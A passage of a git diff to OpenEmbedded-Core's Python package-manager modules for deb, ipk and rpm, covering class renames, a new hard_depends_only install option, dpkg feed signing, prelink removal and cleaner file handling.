cmd += "PSEUDO_UNLOAD=1 %s release . >> Release" % apt_ftparchive
@@ -77,9 +83,18 @@ class DpkgIndexer(Indexer):
oe.utils.multiprocess_launch(create_index, index_cmds, self.d)
if self.d.getVar('PACKAGE_FEED_SIGN') == '1':
- raise NotImplementedError('Package feed signing not implementd for dpkg')
+ signer = get_signer(self.d, self.d.getVar('PACKAGE_FEED_GPG_BACKEND'))
+ else:
+ signer = None
+ if signer:
+ for f in index_sign_files:
+ signer.detach_sign(f,
+ self.d.getVar('PACKAGE_FEED_GPG_NAME'),
+ self.d.getVar('PACKAGE_FEED_GPG_PASSPHRASE_FILE'),
+ output_suffix="gpg",
+ use_sha256=True)
-class DpkgPkgsList(PkgsList):
+class PMPkgsList(PkgsList):
def list_pkgs(self):
cmd = [bb.utils.which(os.getenv('PATH'), "dpkg-query"),
@@ -214,7 +229,7 @@ class DpkgPM(OpkgDpkgPM):
tmp_sf.write(status)
- os.rename(status_file + ".tmp", status_file)
+ bb.utils.rename(status_file + ".tmp", status_file)
def run_pre_post_installs(self, package_name=None):
"""
@@ -276,18 +291,23 @@ class DpkgPM(OpkgDpkgPM):
self.deploy_dir_unlock()
- def install(self, pkgs, attempt_only=False):
+ def install(self, pkgs, attempt_only=False, hard_depends_only=False):
if attempt_only and len(pkgs) == 0:
return
os.environ['APT_CONFIG'] = self.apt_conf_file
- cmd = "%s %s install --force-yes --allow-unauthenticated --no-remove %s" % \
- (self.apt_get_cmd, self.apt_args, ' '.join(pkgs))
+ extra_args = ""
+ if hard_depends_only:
+ extra_args = "--no-install-recommends"
+
+ cmd = "%s %s install --allow-downgrades --allow-remove-essential --allow-change-held-packages --allow-unauthenticated --no-remove %s %s" % \
+ (self.apt_get_cmd, self.apt_args, extra_args, ' '.join(pkgs))
try:
bb.note("Installing the following packages: %s" % ' '.join(pkgs))
- subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
+ output = subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
+ bb.note(output.decode("utf-8"))
except subprocess.CalledProcessError as e:
(bb.fatal, bb.warn)[attempt_only]("Unable to install packages. "
"Command '%s' returned %d:\n%s" %
@@ -298,13 +318,13 @@ class DpkgPM(OpkgDpkgPM):
for dir in dirs:
new_dir = re.sub(r"\.dpkg-new", "", dir)
if dir != new_dir:
- os.rename(os.path.join(root, dir),
+ bb.utils.rename(os.path.join(root, dir),
os.path.join(root, new_dir))
for file in files:
new_file = re.sub(r"\.dpkg-new", "", file)
if file != new_file:
- os.rename(os.path.join(root, file),
+ bb.utils.rename(os.path.join(root, file),
os.path.join(root, new_file))
@@ -312,6 +332,12 @@ class DpkgPM(OpkgDpkgPM):
if not pkgs:
return
+ os.environ['D'] = self.target_rootfs
+ os.environ['OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['IPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['OPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['INTERCEPT_DIR'] = self.intercepts_dir
+
if with_dependencies:
os.environ['APT_CONFIG'] = self.apt_conf_file
cmd = "%s purge %s" % (self.apt_get_cmd, ' '.join(pkgs))
@@ -341,8 +367,12 @@ class DpkgPM(OpkgDpkgPM):
if feed_uris == "":
return
+
sources_conf = os.path.join("%s/etc/apt/sources.list"
% self.target_rootfs)
+ if not os.path.exists(os.path.dirname(sources_conf)):
+ return
+
arch_list = []
if feed_archs is None:
@@ -360,11 +390,11 @@ class DpkgPM(OpkgDpkgPM):
if arch_list:
for arch in arch_list:
bb.note('Adding dpkg channel at (%s)' % uri)
- sources_file.write("deb %s/%s ./\n" %
+ sources_file.write("deb [trusted=yes] %s/%s ./\n" %
(uri, arch))
else:
bb.note('Adding dpkg channel at (%s)' % uri)
- sources_file.write("deb %s ./\n" % uri)
+ sources_file.write("deb [trusted=yes] %s ./\n" % uri)
def _create_configs(self, archs, base_archs):
base_archs = re.sub(r"_", r"-", base_archs)
@@ -404,14 +434,14 @@ class DpkgPM(OpkgDpkgPM):
with open(os.path.join(self.apt_conf_dir, "sources.list"), "w+") as sources_file:
for arch in arch_list:
- sources_file.write("deb file:%s/ ./\n" %
+ sources_file.write("deb [trusted=yes] file:%s/ ./\n" %
os.path.join(self.deploy_dir, arch))
base_arch_list = base_archs.split()
multilib_variants = self.d.getVar("MULTILIB_VARIANTS");
for variant in multilib_variants.split():
localdata = bb.data.createCopy(self.d)
- variant_tune = localdata.getVar("DEFAULTTUNE_virtclass-multilib-" + variant, False)
+ variant_tune = localdata.getVar("DEFAULTTUNE:virtclass-multilib-" + variant, False)
orig_arch = localdata.getVar("DPKG_ARCH")
localdata.setVar("DEFAULTTUNE", variant_tune)
variant_arch = localdata.getVar("DPKG_ARCH")
@@ -459,7 +489,7 @@ class DpkgPM(OpkgDpkgPM):
"returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
def list_installed(self):
- return DpkgPkgsList(self.d, self.target_rootfs).list_pkgs()
+ return PMPkgsList(self.d, self.target_rootfs).list_pkgs()
def package_info(self, pkg):
"""
diff --git a/meta/lib/oe/package_manager/deb/manifest.py b/meta/lib/oe/package_manager/deb/manifest.py
index 0b12036644..72983bae98 100644
--- a/meta/lib/oe/package_manager/deb/manifest.py
+++ b/meta/lib/oe/package_manager/deb/manifest.py
@@ -1,10 +1,12 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
from oe.manifest import Manifest
-class DpkgManifest(Manifest):
+class PkgManifest(Manifest):
def create_initial(self):
with open(self.initial_manifest, "w+") as manifest:
manifest.write(self.initial_manifest_file_header)
diff --git a/meta/lib/oe/package_manager/deb/rootfs.py b/meta/lib/oe/package_manager/deb/rootfs.py
index 819f67eda5..1e25b64ed9 100644
--- a/meta/lib/oe/package_manager/deb/rootfs.py
+++ b/meta/lib/oe/package_manager/deb/rootfs.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -7,7 +9,7 @@ import shutil
from oe.rootfs import Rootfs
from oe.manifest import Manifest
from oe.utils import execute_pre_post_process
-from oe.package_manager.deb.manifest import DpkgManifest
+from oe.package_manager.deb.manifest import PkgManifest
from oe.package_manager.deb import DpkgPM
class DpkgOpkgRootfs(Rootfs):
@@ -120,9 +122,9 @@ class DpkgOpkgRootfs(Rootfs):
num += 1
-class DpkgRootfs(DpkgOpkgRootfs):
+class PkgRootfs(DpkgOpkgRootfs):
def __init__(self, d, manifest_dir, progress_reporter=None, logcatcher=None):
- super(DpkgRootfs, self).__init__(d, progress_reporter, logcatcher)
+ super(PkgRootfs, self).__init__(d, progress_reporter, logcatcher)
self.log_check_regex = '^E:'
self.log_check_expected_regexes = \
[
@@ -131,7 +133,7 @@ class DpkgRootfs(DpkgOpkgRootfs):
bb.utils.remove(self.image_rootfs, True)
bb.utils.remove(self.d.getVar('MULTILIB_TEMP_ROOTFS'), True)
- self.manifest = DpkgManifest(d, manifest_dir)
+ self.manifest = PkgManifest(d, manifest_dir)
self.pm = DpkgPM(d, d.getVar('IMAGE_ROOTFS'),
d.getVar('PACKAGE_ARCHS'),
d.getVar('DPKG_ARCH'))
diff --git a/meta/lib/oe/package_manager/deb/sdk.py b/meta/lib/oe/package_manager/deb/sdk.py
index b25eb70b00..6f3005053e 100644
--- a/meta/lib/oe/package_manager/deb/sdk.py
+++ b/meta/lib/oe/package_manager/deb/sdk.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -8,19 +10,19 @@ from oe.utils import execute_pre_post_process
from oe.sdk import Sdk
from oe.manifest import Manifest
from oe.package_manager.deb import DpkgPM
+from oe.package_manager.deb.manifest import PkgManifest
-class DpkgSdk(Sdk):
+class PkgSdk(Sdk):
def __init__(self, d, manifest_dir=None):
- super(DpkgSdk, self).__init__(d, manifest_dir)
+ super(PkgSdk, self).__init__(d, manifest_dir)
self.target_conf_dir = os.path.join(self.d.getVar("APTCONF_TARGET"), "apt")
self.host_conf_dir = os.path.join(self.d.getVar("APTCONF_TARGET"), "apt-sdk")
- from oe.package_manager.deb.manifest import DpkgManifest
- self.target_manifest = DpkgManifest(d, self.manifest_dir,
+ self.target_manifest = PkgManifest(d, self.manifest_dir,
Manifest.MANIFEST_TYPE_SDK_TARGET)
- self.host_manifest = DpkgManifest(d, self.manifest_dir,
+ self.host_manifest = PkgManifest(d, self.manifest_dir,
Manifest.MANIFEST_TYPE_SDK_HOST)
deb_repo_workdir = "oe-sdk-repo"
@@ -65,7 +67,14 @@ class DpkgSdk(Sdk):
self.target_pm.install_complementary(self.d.getVar('SDKIMAGE_INSTALL_COMPLEMENTARY'))
+ self.target_pm.run_pre_post_installs()
+
+ env_bkp = os.environ.copy()
+ os.environ['PATH'] = self.d.expand("${COREBASE}/scripts/nativesdk-intercept") + \
+ os.pathsep + os.environ["PATH"]
+
self.target_pm.run_intercepts(populate_sdk='target')
+ os.environ.update(env_bkp)
execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_TARGET_COMMAND"))
@@ -78,6 +87,8 @@ class DpkgSdk(Sdk):
self._populate_sysroot(self.host_pm, self.host_manifest)
self.install_locales(self.host_pm)
+ self.host_pm.run_pre_post_installs()
+
self.host_pm.run_intercepts(populate_sdk='host')
execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_HOST_COMMAND"))
diff --git a/meta/lib/oe/package_manager/ipk/__init__.py b/meta/lib/oe/package_manager/ipk/__init__.py
index 9603993a59..8cc9953a02 100644
--- a/meta/lib/oe/package_manager/ipk/__init__.py
+++ b/meta/lib/oe/package_manager/ipk/__init__.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -14,6 +16,7 @@ class OpkgIndexer(Indexer):
]
opkg_index_cmd = bb.utils.which(os.getenv('PATH'), "opkg-make-index")
+ opkg_index_cmd_extra_params = self.d.getVar('OPKG_MAKE_INDEX_EXTRA_PARAMS') or ""
if self.d.getVar('PACKAGE_FEED_SIGN') == '1':
signer = get_signer(self.d, self.d.getVar('PACKAGE_FEED_GPG_BACKEND'))
else:
@@ -39,8 +42,8 @@ class OpkgIndexer(Indexer):
if not os.path.exists(pkgs_file):
open(pkgs_file, "w").close()
- index_cmds.add('%s --checksum md5 --checksum sha256 -r %s -p %s -m %s' %
- (opkg_index_cmd, pkgs_file, pkgs_file, pkgs_dir))
+ index_cmds.add('%s --checksum md5 --checksum sha256 -r %s -p %s -m %s %s' %
+ (opkg_index_cmd, pkgs_file, pkgs_file, pkgs_dir, opkg_index_cmd_extra_params))
index_sign_files.add(pkgs_file)
@@ -59,9 +62,10 @@ class OpkgIndexer(Indexer):
self.d.getVar('PACKAGE_FEED_GPG_PASSPHRASE_FILE'),
armor=is_ascii_sig)
-class OpkgPkgsList(PkgsList):
- def __init__(self, d, rootfs_dir, config_file):
- super(OpkgPkgsList, self).__init__(d, rootfs_dir)
+class PMPkgsList(PkgsList):
+ def __init__(self, d, rootfs_dir):
+ super(PMPkgsList, self).__init__(d, rootfs_dir)
+ config_file = d.getVar("IPKGCONF_TARGET")
self.opkg_cmd = bb.utils.which(os.getenv('PATH'), "opkg")
self.opkg_args = "-f %s -o %s " % (config_file, rootfs_dir)
@@ -101,12 +105,14 @@ class OpkgDpkgPM(PackageManager):
This method extracts the common parts for Opkg and Dpkg
"""
- try:
- output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True).decode("utf-8")
- except subprocess.CalledProcessError as e:
+ proc = subprocess.run(cmd, capture_output=True, encoding="utf-8", shell=True)
+ if proc.returncode:
bb.fatal("Unable to list available packages. Command '%s' "
- "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
- return opkg_query(output)
+ "returned %d:\n%s" % (cmd, proc.returncode, proc.stderr))
+ elif proc.stderr:
+ bb.note("Command '%s' returned stderr: %s" % (cmd, proc.stderr))
+
+ return opkg_query(proc.stdout)
def extract(self, pkg, pkg_info):
"""
@@ -128,7 +134,7 @@ class OpkgDpkgPM(PackageManager):
tmp_dir = tempfile.mkdtemp()
current_dir = os.getcwd()
os.chdir(tmp_dir)
- data_tar = 'data.tar.xz'
+ data_tar = 'data.tar.zst'
try:
cmd = [ar_cmd, 'x', pkg_path]
@@ -171,12 +177,7 @@ class OpkgPM(OpkgDpkgPM):
if prepare_index:
create_packages_dir(self.d, self.deploy_dir, d.getVar("DEPLOY_DIR_IPK"), "package_write_ipk", filterbydependencies)
- opkg_lib_dir = self.d.getVar('OPKGLIBDIR')
- if opkg_lib_dir[0] == "/":
- opkg_lib_dir = opkg_lib_dir[1:]
-
- self.opkg_dir = os.path.join(target_rootfs, opkg_lib_dir, "opkg")
-
+ self.opkg_dir = oe.path.join(target_rootfs, self.d.getVar('OPKGLIBDIR'), "opkg")
bb.utils.mkdirhier(self.opkg_dir)
self.saved_opkg_dir = self.d.expand('${T}/saved/%s' % self.task_name)
@@ -217,7 +218,7 @@ class OpkgPM(OpkgDpkgPM):
tmp_sf.write(status)
- os.rename(status_file + ".tmp", status_file)
+ bb.utils.rename(status_file + ".tmp", status_file)
def _create_custom_config(self):
bb.note("Building from feeds activated!")
@@ -247,7 +248,7 @@ class OpkgPM(OpkgDpkgPM):
"""
if (self.d.getVar('FEED_DEPLOYDIR_BASE_URI') or "") != "":
for arch in self.pkg_archs.split():
- cfg_file_name = os.path.join(self.target_rootfs,
+ cfg_file_name = oe.path.join(self.target_rootfs,
self.d.getVar("sysconfdir"),
"opkg",
"local-%s-feed.conf" % arch)
@@ -341,7 +342,7 @@ class OpkgPM(OpkgDpkgPM):
self.deploy_dir_unlock()
- def install(self, pkgs, attempt_only=False):
+ def install(self, pkgs, attempt_only=False, hard_depends_only=False):
if not pkgs:
return
@@ -350,6 +351,8 @@ class OpkgPM(OpkgDpkgPM):
cmd += " --add-exclude %s" % exclude
for bad_recommendation in (self.d.getVar("BAD_RECOMMENDATIONS") or "").split():
cmd += " --add-ignore-recommends %s" % bad_recommendation
+ if hard_depends_only:
+ cmd += " --no-install-recommends"
cmd += " install "
cmd += " ".join(pkgs)
@@ -407,16 +410,16 @@ class OpkgPM(OpkgDpkgPM):
bb.fatal(result)
def remove_packaging_data(self):
+ cachedir = oe.path.join(self.target_rootfs, self.d.getVar("localstatedir"), "cache", "opkg")
bb.utils.remove(self.opkg_dir, True)
- # create the directory back, it's needed by PM lock
- bb.utils.mkdirhier(self.opkg_dir)
+ bb.utils.remove(cachedir, True)
def remove_lists(self):
if not self.from_feeds:
bb.utils.remove(os.path.join(self.opkg_dir, "lists"), True)
def list_installed(self):
- return OpkgPkgsList(self.d, self.target_rootfs, self.config_file).list_pkgs()
+ return PMPkgsList(self.d, self.target_rootfs).list_pkgs()
def dummy_install(self, pkgs):
"""
@@ -447,15 +450,16 @@ class OpkgPM(OpkgDpkgPM):
cmd = "%s %s --noaction install %s " % (self.opkg_cmd,
opkg_args,
' '.join(pkgs))
- try:
- output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
- except subprocess.CalledProcessError as e:
+ proc = subprocess.run(cmd, capture_output=True, encoding="utf-8", shell=True)
+ if proc.returncode:
bb.fatal("Unable to dummy install packages. Command '%s' "
- "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
+ "returned %d:\n%s" % (cmd, proc.returncode, proc.stderr))
+ elif proc.stderr:
+ bb.note("Command '%s' returned stderr: %s" % (cmd, proc.stderr))
bb.utils.remove(temp_rootfs, True)
- return output
+ return proc.stdout
def backup_packaging_data(self):
# Save the opkglib for increment ipk image generation
@@ -502,6 +506,6 @@ class OpkgPM(OpkgDpkgPM):
"trying to extract the package." % pkg)
tmp_dir = super(OpkgPM, self).extract(pkg, pkg_info)
- bb.utils.remove(os.path.join(tmp_dir, "data.tar.xz"))
+ bb.utils.remove(os.path.join(tmp_dir, "data.tar.zst"))
return tmp_dir
diff --git a/meta/lib/oe/package_manager/ipk/manifest.py b/meta/lib/oe/package_manager/ipk/manifest.py
index 69676903ab..3549d7428d 100644
--- a/meta/lib/oe/package_manager/ipk/manifest.py
+++ b/meta/lib/oe/package_manager/ipk/manifest.py
@@ -1,10 +1,13 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
from oe.manifest import Manifest
+import re
-class OpkgManifest(Manifest):
+class PkgManifest(Manifest):
"""
Returns a dictionary object with mip and mlp packages.
"""
diff --git a/meta/lib/oe/package_manager/ipk/rootfs.py b/meta/lib/oe/package_manager/ipk/rootfs.py
index 63b4a59c40..ba93eb62ea 100644
--- a/meta/lib/oe/package_manager/ipk/rootfs.py
+++ b/meta/lib/oe/package_manager/ipk/rootfs.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -8,7 +10,7 @@ import shutil
from oe.rootfs import Rootfs
from oe.manifest import Manifest
from oe.utils import execute_pre_post_process
-from oe.package_manager.ipk.manifest import OpkgManifest
+from oe.package_manager.ipk.manifest import PkgManifest
from oe.package_manager.ipk import OpkgPM
class DpkgOpkgRootfs(Rootfs):
@@ -121,12 +123,12 @@ class DpkgOpkgRootfs(Rootfs):
num += 1
-class OpkgRootfs(DpkgOpkgRootfs):
+class PkgRootfs(DpkgOpkgRootfs):
def __init__(self, d, manifest_dir, progress_reporter=None, logcatcher=None):
- super(OpkgRootfs, self).__init__(d, progress_reporter, logcatcher)
+ super(PkgRootfs, self).__init__(d, progress_reporter, logcatcher)
self.log_check_regex = '(exit 1|Collected errors)'
- self.manifest = OpkgManifest(d, manifest_dir)
+ self.manifest = PkgManifest(d, manifest_dir)
self.opkg_conf = self.d.getVar("IPKGCONF_TARGET")
self.pkg_archs = self.d.getVar("ALL_MULTILIB_PACKAGE_ARCHS")
@@ -145,51 +147,14 @@ class OpkgRootfs(DpkgOpkgRootfs):
self.pm.recover_packaging_data()
bb.utils.remove(self.d.getVar('MULTILIB_TEMP_ROOTFS'), True)
-
- def _prelink_file(self, root_dir, filename):
- bb.note('prelink %s in %s' % (filename, root_dir))
- prelink_cfg = oe.path.join(root_dir,
- self.d.expand('${sysconfdir}/prelink.conf'))
- if not os.path.exists(prelink_cfg):
- shutil.copy(self.d.expand('${STAGING_DIR_NATIVE}${sysconfdir_native}/prelink.conf'),
- prelink_cfg)
-
- cmd_prelink = self.d.expand('${STAGING_DIR_NATIVE}${sbindir_native}/prelink')
- self._exec_shell_cmd([cmd_prelink,
- '--root',
- root_dir,
- '-amR',
- '-N',
- '-c',
- self.d.expand('${sysconfdir}/prelink.conf')])
-
'''
Compare two files with the same key twice to see if they are equal.
If they are not equal, it means they are duplicated and come from
different packages.
- 1st: Comapre them directly;
- 2nd: While incremental image creation is enabled, one of the
- files could be probaly prelinked in the previous image
- creation and the file has been changed, so we need to
- prelink the other one and compare them.
'''
def _file_equal(self, key, f1, f2):
-
- # Both of them are not prelinked
if filecmp.cmp(f1, f2):
return True
-
- if bb.data.inherits_class('image-prelink', self.d):
- if self.image_rootfs not in f1:
- self._prelink_file(f1.replace(key, ''), f1)
-
- if self.image_rootfs not in f2:
- self._prelink_file(f2.replace(key, ''), f2)
-
- # Both of them are prelinked
- if filecmp.cmp(f1, f2):
- return True
-
# Not equal
return False
@@ -200,7 +165,7 @@ class OpkgRootfs(DpkgOpkgRootfs):
"""
def _multilib_sanity_test(self, dirs):
- allow_replace = self.d.getVar("MULTILIBRE_ALLOW_REP")
+ allow_replace = "|".join((self.d.getVar("MULTILIBRE_ALLOW_REP") or "").split())
if allow_replace is None:
allow_replace = ""
diff --git a/meta/lib/oe/package_manager/ipk/sdk.py b/meta/lib/oe/package_manager/ipk/sdk.py
index 47c0a92c1b..3acd55f548 100644
--- a/meta/lib/oe/package_manager/ipk/sdk.py
+++ b/meta/lib/oe/package_manager/ipk/sdk.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -6,20 +8,26 @@ import glob
import shutil
from oe.utils import execute_pre_post_process
from oe.sdk import Sdk
+from oe.package_manager.ipk.manifest import PkgManifest
from oe.manifest import Manifest
from oe.package_manager.ipk import OpkgPM
-class OpkgSdk(Sdk):
+class PkgSdk(Sdk):
def __init__(self, d, manifest_dir=None):
- super(OpkgSdk, self).__init__(d, manifest_dir)
+ super(PkgSdk, self).__init__(d, manifest_dir)
+
+ # In sdk_list_installed_packages the call to opkg is hardcoded to
+ # always use IPKGCONF_TARGET and there's no exposed API to change this
+ # so simply override IPKGCONF_TARGET to use this separated config file.
+ ipkgconf_sdk_target = d.getVar("IPKGCONF_SDK_TARGET")
+ d.setVar("IPKGCONF_TARGET", ipkgconf_sdk_target)
self.target_conf = self.d.getVar("IPKGCONF_TARGET")
self.host_conf = self.d.getVar("IPKGCONF_SDK")
- from oe.package_manager.ipk.manifest import OpkgManifest
- self.target_manifest = OpkgManifest(d, self.manifest_dir,
+ self.target_manifest = PkgManifest(d, self.manifest_dir,
Manifest.MANIFEST_TYPE_SDK_TARGET)
- self.host_manifest = OpkgManifest(d, self.manifest_dir,
+ self.host_manifest = PkgManifest(d, self.manifest_dir,
Manifest.MANIFEST_TYPE_SDK_HOST)
ipk_repo_workdir = "oe-sdk-repo"
@@ -55,12 +63,19 @@ class OpkgSdk(Sdk):
self.target_pm.install_complementary(self.d.getVar('SDKIMAGE_INSTALL_COMPLEMENTARY'))
+ env_bkp = os.environ.copy()
+ os.environ['PATH'] = self.d.expand("${COREBASE}/scripts/nativesdk-intercept") + \
+ os.pathsep + os.environ["PATH"]
+
self.target_pm.run_intercepts(populate_sdk='target')
+ os.environ.update(env_bkp)
execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_TARGET_COMMAND"))
if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
self.target_pm.remove_packaging_data()
+ else:
+ self.target_pm.remove_lists()
bb.note("Installing NATIVESDK packages")
self._populate_sysroot(self.host_pm, self.host_manifest)
@@ -72,6 +87,8 @@ class OpkgSdk(Sdk):
if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
self.host_pm.remove_packaging_data()
+ else:
+ self.host_pm.remove_lists()
target_sysconfdir = os.path.join(self.sdk_target_sysroot, self.sysconfdir)
host_sysconfdir = os.path.join(self.sdk_host_sysroot, self.sysconfdir)
diff --git a/meta/lib/oe/package_manager/rpm/__init__.py b/meta/lib/oe/package_manager/rpm/__init__.py
index c91f61ae5c..f40c880af4 100644
--- a/meta/lib/oe/package_manager/rpm/__init__.py
+++ b/meta/lib/oe/package_manager/rpm/__init__.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -33,6 +35,9 @@ class RpmIndexer(Indexer):
class RpmSubdirIndexer(RpmIndexer):
def write_index(self):
bb.note("Generating package index for %s" %(self.deploy_dir))
+ # Remove the existing repodata to ensure that we re-generate it no matter what
+ bb.utils.remove(os.path.join(self.deploy_dir, "repodata"), recurse=True)
+
self.do_write_index(self.deploy_dir)
for entry in os.walk(self.deploy_dir):
if os.path.samefile(self.deploy_dir, entry[0]):
@@ -43,7 +48,7 @@ class RpmSubdirIndexer(RpmIndexer):
self.do_write_index(dir_path)
-class RpmPkgsList(PkgsList):
+class PMPkgsList(PkgsList):
def list_pkgs(self):
return RpmPM(self.d, self.rootfs_dir, self.d.getVar('TARGET_VENDOR'), needfeed=False).list_installed()
@@ -93,11 +98,15 @@ class RpmPM(PackageManager):
archs = ["sdk_provides_dummy_target"] + archs
confdir = "%s/%s" %(self.target_rootfs, "etc/dnf/vars/")
bb.utils.mkdirhier(confdir)
- open(confdir + "arch", 'w').write(":".join(archs))
+ with open(confdir + "arch", 'w') as f:
+ f.write(":".join(archs))
+
distro_codename = self.d.getVar('DISTRO_CODENAME')
- open(confdir + "releasever", 'w').write(distro_codename if distro_codename is not None else '')
+ with open(confdir + "releasever", 'w') as f:
+ f.write(distro_codename if distro_codename is not None else '')
- open(oe.path.join(self.target_rootfs, "etc/dnf/dnf.conf"), 'w').write("")
+ with open(oe.path.join(self.target_rootfs, "etc/dnf/dnf.conf"), 'w') as f:
+ f.write("")
def _configure_rpm(self):
@@ -107,14 +116,17 @@ class RpmPM(PackageManager):
platformconfdir = "%s/%s" %(self.target_rootfs, "etc/rpm/")
rpmrcconfdir = "%s/%s" %(self.target_rootfs, "etc/")
bb.utils.mkdirhier(platformconfdir)
- open(platformconfdir + "platform", 'w').write("%s-pc-linux" % self.primary_arch)
+ with open(platformconfdir + "platform", 'w') as f:
+ f.write("%s-pc-linux" % self.primary_arch)
with open(rpmrcconfdir + "rpmrc", 'w') as f:
f.write("arch_compat: %s: %s\n" % (self.primary_arch, self.archs if len(self.archs) > 0 else self.primary_arch))
f.write("buildarch_compat: %s: noarch\n" % self.primary_arch)
- open(platformconfdir + "macros", 'w').write("%_transaction_color 7\n")
+ with open(platformconfdir + "macros", 'w') as f:
+ f.write("%_transaction_color 7\n")
if self.d.getVar('RPM_PREFER_ELF_ARCH'):
- open(platformconfdir + "macros", 'a').write("%%_prefer_color %s" % (self.d.getVar('RPM_PREFER_ELF_ARCH')))
+ with open(platformconfdir + "macros", 'a') as f:
+ f.write("%%_prefer_color %s" % (self.d.getVar('RPM_PREFER_ELF_ARCH')))
if self.d.getVar('RPM_SIGN_PACKAGES') == '1':
signer = get_signer(self.d, self.d.getVar('RPM_GPG_BACKEND'))
@@ -161,13 +173,13 @@ class RpmPM(PackageManager):
repo_uri = uri + "/" + arch
repo_id = "oe-remote-repo" + "-".join(urlparse(repo_uri).path.split("/"))
repo_name = "OE Remote Repo:" + " ".join(urlparse(repo_uri).path.split("/"))
- open(oe.path.join(self.target_rootfs, "etc", "yum.repos.d", repo_base + ".repo"), 'a').write(
- "[%s]\nname=%s\nbaseurl=%s\n%s\n" % (repo_id, repo_name, repo_uri, gpg_opts))
+ with open(oe.path.join(self.target_rootfs, "etc", "yum.repos.d", repo_base + ".repo"), 'a') as f:
+ f.write("[%s]\nname=%s\nbaseurl=%s\n%s\n" % (repo_id, repo_name, repo_uri, gpg_opts))
else:
repo_name = "OE Remote Repo:" + " ".join(urlparse(uri).path.split("/"))
repo_uri = uri
- open(oe.path.join(self.target_rootfs, "etc", "yum.repos.d", repo_base + ".repo"), 'w').write(
- "[%s]\nname=%s\nbaseurl=%s\n%s" % (repo_base, repo_name, repo_uri, gpg_opts))
+ with open(oe.path.join(self.target_rootfs, "etc", "yum.repos.d", repo_base + ".repo"), 'w') as f:
+ f.write("[%s]\nname=%s\nbaseurl=%s\n%s" % (repo_base, repo_name, repo_uri, gpg_opts))
def _prepare_pkg_transaction(self):
os.environ['D'] = self.target_rootfs
@@ -178,7 +190,7 @@ class RpmPM(PackageManager):
os.environ['NATIVE_ROOT'] = self.d.getVar('STAGING_DIR_NATIVE')
- def install(self, pkgs, attempt_only = False):
+ def install(self, pkgs, attempt_only=False, hard_depends_only=False):
if len(pkgs) == 0:
return
self._prepare_pkg_transaction()
@@ -189,13 +201,16 @@ class RpmPM(PackageManager):
output = self._invoke_dnf((["--skip-broken"] if attempt_only else []) +
(["-x", ",".join(exclude_pkgs)] if len(exclude_pkgs) > 0 else []) +
- (["--setopt=install_weak_deps=False"] if self.d.getVar('NO_RECOMMENDATIONS') == "1" else []) +
+ (["--setopt=install_weak_deps=False"] if (hard_depends_only or self.d.getVar('NO_RECOMMENDATIONS') == "1") else []) +
(["--nogpgcheck"] if self.d.getVar('RPM_SIGN_PACKAGES') != '1' else ["--setopt=gpgcheck=True"]) +
["install"] +
pkgs)
failed_scriptlets_pkgnames = collections.OrderedDict()
for line in output.splitlines():
+ if line.startswith("Error: Systemctl"):
+ bb.error(line)
+
if line.startswith("Error in POSTIN scriptlet in rpm package"):
failed_scriptlets_pkgnames[line.split()[-1]] = True
@@ -323,7 +338,8 @@ class RpmPM(PackageManager):
return e.output.decode("utf-8")
def dump_install_solution(self, pkgs):
- open(self.solution_manifest, 'w').write(" ".join(pkgs))
+ with open(self.solution_manifest, 'w') as f:
+ f.write(" ".join(pkgs))
return pkgs
def load_old_install_solution(self):
@@ -357,7 +373,8 @@ class RpmPM(PackageManager):
bb.utils.mkdirhier(target_path)
num = self._script_num_prefix(target_path)
saved_script_name = oe.path.join(target_path, "%d-%s" % (num, pkg))
- open(saved_script_name, 'w').write(output)
+ with open(saved_script_name, 'w') as f:
+ f.write(output)
os.chmod(saved_script_name, 0o755)
def _handle_intercept_failure(self, registered_pkgs):
@@ -369,11 +386,12 @@ class RpmPM(PackageManager):
self.save_rpmpostinst(pkg)
def extract(self, pkg):
- output = self._invoke_dnf(["repoquery", "--queryformat", "%{location}", pkg])
+ output = self._invoke_dnf(["repoquery", "--location", pkg])
pkg_name = output.splitlines()[-1]
if not pkg_name.endswith(".rpm"):
bb.fatal("dnf could not find package %s in repository: %s" %(pkg, output))
- pkg_path = oe.path.join(self.rpm_repo_dir, pkg_name)
+ # Strip file: prefix
+ pkg_path = pkg_name[5:]
cpio_cmd = bb.utils.which(os.getenv("PATH"), "cpio")
rpm2cpio_cmd = bb.utils.which(os.getenv("PATH"), "rpm2cpio")
diff --git a/meta/lib/oe/package_manager/rpm/manifest.py b/meta/lib/oe/package_manager/rpm/manifest.py
index a75f6bdabf..6ee7c329f0 100644
--- a/meta/lib/oe/package_manager/rpm/manifest.py
+++ b/meta/lib/oe/package_manager/rpm/manifest.py
@@ -1,10 +1,12 @@
#
+# Copyright OpenEmbedded Contributors
+#
